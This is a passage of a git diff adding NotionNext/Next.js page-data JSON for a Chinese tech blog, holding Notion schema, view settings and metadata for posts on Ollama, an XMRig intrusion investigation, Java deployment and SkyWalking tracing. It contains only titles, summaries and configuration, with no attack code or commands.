",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"45f58361-42f3-4de5-ae99-a1174d6fdd08":{"value":{"id":"45f58361-42f3-4de5-ae99-a1174d6fdd08","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523644,"last_edited_time":1710900523644,"parent_id":"b05adf15-e470-40ac-b755-5f24225e2c1f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"a3483dad-5468-4b87-89eb-de9d4f7e17f9":{"value":{"id":"a3483dad-5468-4b87-89eb-de9d4f7e17f9","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"27f5381c-4c90-4bf9-ad1d-be7f972dfced":{"value":{"id":"27f5381c-4c90-4bf9-ad1d-be7f972dfced","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"next":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240322-angry.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240322-angry.json
new file mode 100644
index 000000000..cd5a3432f
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240322-angry.json
@@ -0,0 +1 @@
